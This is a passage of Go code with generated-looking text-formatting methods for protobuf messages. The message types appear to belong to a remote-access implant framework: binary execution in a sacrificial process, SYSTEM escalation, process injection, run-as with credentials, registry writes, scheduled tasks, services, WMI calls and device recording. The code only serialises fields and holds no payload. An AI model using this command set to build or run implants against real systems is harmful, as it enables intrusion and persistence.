sb.WriteString("}") + return sb.String() +} + +func (x *ExecuteAddon) String() string { + return x.MarshalProtoText() +} +func (x *ExecuteBinary_ParamEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ParamEntry {") + if x.Key != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ExecuteBinary_ParamEntry) String() string { + return x.MarshalProtoText() +} +func (x *ExecuteBinary) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ExecuteBinary {") + if x.Name != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Bin != nil { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("bin: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Bin)) + sb.WriteString("\"") + } + if len(x.Param) > 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("param: {") + for _, k := range slices.Sorted(maps.Keys(x.Param)) { + v := x.Param[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + if x.Type != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.ProcessName != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("process_name: ") + sb.WriteString(strconv.Quote(x.ProcessName)) + } + if len(x.Args) > 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("args: [") + for i, v := range x.Args { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + if x.EntryPoint != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("entry_point: ") + sb.WriteString(strconv.Quote(x.EntryPoint)) + } + if x.Data != nil { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Data)) + sb.WriteString("\"") + } + if x.Output != false { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("output: ") + sb.WriteString(strconv.FormatBool(x.Output)) + } + if x.Arch != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("arch: ") + sb.WriteString(strconv.FormatUint(uint64(x.Arch), 10)) + } + if x.Timeout != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("timeout: ") + sb.WriteString(strconv.FormatUint(uint64(x.Timeout), 10)) + } + if x.Sacrifice != nil { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("sacrifice: ") + sb.WriteString(x.Sacrifice.MarshalProtoText()) + } + if x.Path != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Context != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("context: ") + sb.WriteString(strconv.Quote(x.Context)) + } + if x.Delay != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("delay: ") + sb.WriteString(strconv.FormatUint(uint64(x.Delay), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ExecuteBinary) String() string { + return x.MarshalProtoText() +} +func (x *ExecuteCommand) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ExecuteCommand {") + if x.Command != "" { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("command: ") + sb.WriteString(strconv.Quote(x.Command)) + } + if x.Sacrifice != nil { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("sacrifice: ") + sb.WriteString(x.Sacrifice.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ExecuteCommand) String() string { + return x.MarshalProtoText() +} +func (x *UploadRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("UploadRequest {") + if x.Name != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Target != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("target: ") + sb.WriteString(strconv.Quote(x.Target)) + } + if x.Priv != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("priv: ") + sb.WriteString(strconv.FormatUint(uint64(x.Priv), 10)) + } + if x.Data != nil { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Data)) + sb.WriteString("\"") + } + if x.Hidden != false { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("hidden: ") + sb.WriteString(strconv.FormatBool(x.Hidden)) + } + if x.Override != false { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("override: ") + sb.WriteString(strconv.FormatBool(x.Override)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *UploadRequest) String() string { + return x.MarshalProtoText() +} +func (x *DownloadRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("DownloadRequest {") + if x.Path != "" { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Name != "" { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.BufferSize != 0 { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("buffer_size: ") + sb.WriteString(strconv.FormatUint(uint64(x.BufferSize), 10)) + } + if x.Dir != false { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("dir: ") + sb.WriteString(strconv.FormatBool(x.Dir)) + } + if x.Cur != 0 { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("cur: ") + sb.WriteString(strconv.FormatInt(int64(x.Cur), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *DownloadRequest) String() string { + return x.MarshalProtoText() +} +func (x *DownloadResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("DownloadResponse {") + if x.Checksum != "" { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("checksum: ") + sb.WriteString(strconv.Quote(x.Checksum)) + } + if x.Size != 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("size: ") + sb.WriteString(strconv.FormatUint(uint64(x.Size), 10)) + } + if x.Cur != 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("cur: ") + sb.WriteString(strconv.FormatInt(int64(x.Cur), 10)) + } + if x.Content != nil { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("content: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Content)) + sb.WriteString("\"") + } + sb.WriteString("}") + return sb.String() +} + +func (x *DownloadResponse) String() string { + return x.MarshalProtoText() +} +func (x *CurlRequest_HeaderEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("HeaderEntry {") + if x.Key != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *CurlRequest_HeaderEntry) String() string { + return x.MarshalProtoText() +} +func (x *CurlRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("CurlRequest {") + if x.Url != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("url: ") + sb.WriteString(strconv.Quote(x.Url)) + } + if x.Timeout != 0 { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("timeout: ") + sb.WriteString(strconv.FormatInt(int64(x.Timeout), 10)) + } + if x.Method != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("method: ") + sb.WriteString(strconv.Quote(x.Method)) + } + if x.Body != nil { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("body: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Body)) + sb.WriteString("\"") + } + if len(x.Header) > 0 { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("header: {") + for _, k := range slices.Sorted(maps.Keys(x.Header)) { + v := x.Header[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + if x.Hostname != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("hostname: ") + sb.WriteString(strconv.Quote(x.Hostname)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *CurlRequest) String() string { + return x.MarshalProtoText() +} +func (x *ChownRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ChownRequest {") + if x.Path != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Uid != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("uid: ") + sb.WriteString(strconv.Quote(x.Uid)) + } + if x.Gid != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("gid: ") + sb.WriteString(strconv.Quote(x.Gid)) + } + if x.Recursive != false { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("recursive: ") + sb.WriteString(strconv.FormatBool(x.Recursive)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ChownRequest) String() string { + return x.MarshalProtoText() +} +func (x *IfconfigResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("IfconfigResponse {") + if len(x.NetInterfaces) > 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("net_interfaces: [") + for i, v := range x.NetInterfaces { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *IfconfigResponse) String() string { + return x.MarshalProtoText() +} +func (x *RegistryRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("RegistryRequest {") + if x.Type != "" { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.Registry != nil { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("registry: ") + sb.WriteString(x.Registry.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *RegistryRequest) String() string { + return x.MarshalProtoText() +} +func (x *Registry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Registry {") + if x.Hive != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("hive: ") + sb.WriteString(strconv.Quote(x.Hive)) + } + if x.Path != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Key != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Registry) String() string { + return x.MarshalProtoText() +} +func (x *RegistryWriteRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("RegistryWriteRequest {") + if x.Hive != "" { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("hive: ") + sb.WriteString(strconv.Quote(x.Hive)) + } + if x.Path != "" { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Key != "" { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.StringValue != "" { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("string_value: ") + sb.WriteString(strconv.Quote(x.StringValue)) + } + if x.ByteValue != nil { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("byte_value: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.ByteValue)) + sb.WriteString("\"") + } + if x.DwordValue != 0 { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("dword_value: ") + sb.WriteString(strconv.FormatUint(uint64(x.DwordValue), 10)) + } + if x.QwordValue != 0 { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("qword_value: ") + sb.WriteString(strconv.FormatUint(uint64(x.QwordValue), 10)) + } + if x.Regtype != 0 { + if sb.Len() > 22 { + sb.WriteString(" ") + } + sb.WriteString("regtype: ") + sb.WriteString(strconv.FormatUint(uint64(x.Regtype), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *RegistryWriteRequest) String() string { + return x.MarshalProtoText() +} +func (x *TaskScheduleRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("TaskScheduleRequest {") + if x.Type != "" { + if sb.Len() > 21 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.Taskschd != nil { + if sb.Len() > 21 { + sb.WriteString(" ") + } + sb.WriteString("taskschd: ") + sb.WriteString(x.Taskschd.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *TaskScheduleRequest) String() string { + return x.MarshalProtoText() +} +func (x *TaskSchedule) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("TaskSchedule {") + if x.Name != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Path != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.ExecutablePath != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("executable_path: ") + sb.WriteString(strconv.Quote(x.ExecutablePath)) + } + if x.TriggerType != 0 { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("trigger_type: ") + sb.WriteString(strconv.FormatUint(uint64(x.TriggerType), 10)) + } + if x.StartBoundary != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("start_boundary: ") + sb.WriteString(strconv.Quote(x.StartBoundary)) + } + if x.Description != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("description: ") + sb.WriteString(strconv.Quote(x.Description)) + } + if x.Enabled != false { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("enabled: ") + sb.WriteString(strconv.FormatBool(x.Enabled)) + } + if x.LastRunTime != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("last_run_time: ") + sb.WriteString(strconv.Quote(x.LastRunTime)) + } + if x.NextRunTime != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("next_run_time: ") + sb.WriteString(strconv.Quote(x.NextRunTime)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *TaskSchedule) String() string { + return x.MarshalProtoText() +} +func (x *TaskSchedulesResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("TaskSchedulesResponse {") + if len(x.Schedules) > 0 { + if sb.Len() > 23 { + sb.WriteString(" ") + } + sb.WriteString("schedules: [") + for i, v := range x.Schedules { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *TaskSchedulesResponse) String() string { + return x.MarshalProtoText() +} +func (x *ServiceRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ServiceRequest {") + if x.Type != "" { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.Service != nil { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("service: ") + sb.WriteString(x.Service.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ServiceRequest) String() string { + return x.MarshalProtoText() +} +func (x *ServiceConfig) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ServiceConfig {") + if x.Name != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.DisplayName != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("display_name: ") + sb.WriteString(strconv.Quote(x.DisplayName)) + } + if x.ExecutablePath != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("executable_path: ") + sb.WriteString(strconv.Quote(x.ExecutablePath)) + } + if x.StartType != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("start_type: ") + sb.WriteString(strconv.FormatUint(uint64(x.StartType), 10)) + } + if x.ErrorControl != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("error_control: ") + sb.WriteString(strconv.FormatUint(uint64(x.ErrorControl), 10)) + } + if x.AccountName != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("account_name: ") + sb.WriteString(strconv.Quote(x.AccountName)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ServiceConfig) String() string { + return x.MarshalProtoText() +} +func (x *ServiceStatus) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ServiceStatus {") + if x.CurrentState != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("current_state: ") + sb.WriteString(strconv.FormatUint(uint64(x.CurrentState), 10)) + } + if x.ProcessId != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("process_id: ") + sb.WriteString(strconv.FormatUint(uint64(x.ProcessId), 10)) + } + if x.ExitCode != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("exit_code: ") + sb.WriteString(strconv.FormatUint(uint64(x.ExitCode), 10)) + } + if x.Checkpoint != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("checkpoint: ") + sb.WriteString(strconv.FormatUint(uint64(x.Checkpoint), 10)) + } + if x.WaitHint != 0 { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("wait_hint: ") + sb.WriteString(strconv.FormatUint(uint64(x.WaitHint), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ServiceStatus) String() string { + return x.MarshalProtoText() +} +func (x *Service) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Service {") + if x.Config != nil { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("config: ") + sb.WriteString(x.Config.MarshalProtoText()) + } + if x.Status != nil { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("status: ") + sb.WriteString(x.Status.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Service) String() string { + return x.MarshalProtoText() +} +func (x *ServicesResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ServicesResponse {") + if len(x.Services) > 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("services: [") + for i, v := range x.Services { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *ServicesResponse) String() string { + return x.MarshalProtoText() +} +func (x *WmiQueryRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("WmiQueryRequest {") + if x.Namespace != "" { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("namespace: ") + sb.WriteString(strconv.Quote(x.Namespace)) + } + if len(x.Args) > 0 { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("args: [") + for i, v := range x.Args { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *WmiQueryRequest) String() string { + return x.MarshalProtoText() +} +func (x *WmiMethodRequest_ParamsEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ParamsEntry {") + if x.Key != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *WmiMethodRequest_ParamsEntry) String() string { + return x.MarshalProtoText() +} +func (x *WmiMethodRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("WmiMethodRequest {") + if x.Namespace != "" { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("namespace: ") + sb.WriteString(strconv.Quote(x.Namespace)) + } + if x.ClassName != "" { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("class_name: ") + sb.WriteString(strconv.Quote(x.ClassName)) + } + if x.MethodName != "" { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("method_name: ") + sb.WriteString(strconv.Quote(x.MethodName)) + } + if len(x.Params) > 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("params: {") + for _, k := range slices.Sorted(maps.Keys(x.Params)) { + v := x.Params[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + sb.WriteString("}") + return sb.String() +} + +func (x *WmiMethodRequest) String() string { + return x.MarshalProtoText() +} +func (x *RunAsRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("RunAsRequest {") + if x.Username != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("username: ") + sb.WriteString(strconv.Quote(x.Username)) + } + if x.Domain != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("domain: ") + sb.WriteString(strconv.Quote(x.Domain)) + } + if x.Password != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("password: ") + sb.WriteString(strconv.Quote(x.Password)) + } + if x.Program != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("program: ") + sb.WriteString(strconv.Quote(x.Program)) + } + if x.Args != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("args: ") + sb.WriteString(strconv.Quote(x.Args)) + } + if x.UseProfile != false { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("use_profile: ") + sb.WriteString(strconv.FormatBool(x.UseProfile)) + } + if x.Netonly != false { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("netonly: ") + sb.WriteString(strconv.FormatBool(x.Netonly)) + } + if x.UseEnv != false { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("use_env: ") + sb.WriteString(strconv.FormatBool(x.UseEnv)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *RunAsRequest) String() string { + return x.MarshalProtoText() +} +func (x *GetSystem) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("GetSystem {") + if x.Bin != nil { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("bin: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Bin)) + sb.WriteString("\"") + } + if x.Pid != 0 { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("pid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Pid), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *GetSystem) String() string { + return x.MarshalProtoText() +} +func (x *Inject) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Inject {") + if x.Bin != nil { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("bin: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Bin)) + sb.WriteString("\"") + } + if x.Pid != 0 { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("pid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Pid), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Inject) String() string { + return x.MarshalProtoText() +} +func (x *Pipe) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Pipe {") + if x.Name != "" { + if sb.Len() > 6 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Target != "" { + if sb.Len() > 6 { + sb.WriteString(" ") + } + sb.WriteString("target: ") + sb.WriteString(strconv.Quote(x.Target)) + } + if x.Data != nil { + if sb.Len() > 6 { + sb.WriteString(" ") + } + sb.WriteString("data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Data)) + sb.WriteString("\"") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Pipe) String() string { + return x.MarshalProtoText() +} +func (x *PipeRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("PipeRequest {") + if x.Type != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.Pipe != nil { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("pipe: ") + sb.WriteString(x.Pipe.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *PipeRequest) String() string { + return x.MarshalProtoText() +} +func (x *Switch) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Switch {") + if len(x.Urls) > 0 { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("urls: [") + for i, v := range x.Urls { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Switch) String() string { + return x.MarshalProtoText() +} +func (x *TaskCtrl) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("TaskCtrl {") + if x.TaskId != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("task_id: ") + sb.WriteString(strconv.FormatUint(uint64(x.TaskId), 10)) + } + if x.Op != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("op: ") + sb.WriteString(strconv.Quote(x.Op)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *TaskCtrl) String() string { + return x.MarshalProtoText() +} +func (x *TaskInfo) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("TaskInfo {") + if x.TaskId != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("task_id: ") + sb.WriteString(strconv.FormatUint(uint64(x.TaskId), 10)) + } + if x.Last != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("last: ") + sb.WriteString(strconv.FormatUint(uint64(x.Last), 10)) + } + if x.RecvCount != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("recv_count: ") + sb.WriteString(strconv.FormatUint(uint64(x.RecvCount), 10)) + } + if x.SendCount != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("send_count: ") + sb.WriteString(strconv.FormatUint(uint64(x.SendCount), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *TaskInfo) String() string { + return x.MarshalProtoText() +} +func (x *TaskListResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("TaskListResponse {") + if len(x.Tasks) > 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("tasks: [") + for i, v := range x.Tasks { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *TaskListResponse) String() string { + return x.MarshalProtoText() +} +func (x *FFmpegRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("FFmpegRequest {") + if x.Action != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("action: ") + sb.WriteString(strconv.Quote(x.Action)) + } + if x.DeviceName != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("device_name: ") + sb.WriteString(strconv.Quote(x.DeviceName)) + } + if x.OutputFormat != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("output_format: ") + sb.WriteString(strconv.Quote(x.OutputFormat)) + } + if x.OutputPath != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("output_path: ") + sb.WriteString(strconv.Quote(x.OutputPath)) + } + if x.Time != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("time: ") + sb.WriteString(strconv.Quote(x.Time)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *FFmpegRequest) String() string { + return x.MarshalProtoText() +} +func (x *PtyRequest_ParamsEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ParamsEntry {") + if x.Key != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + 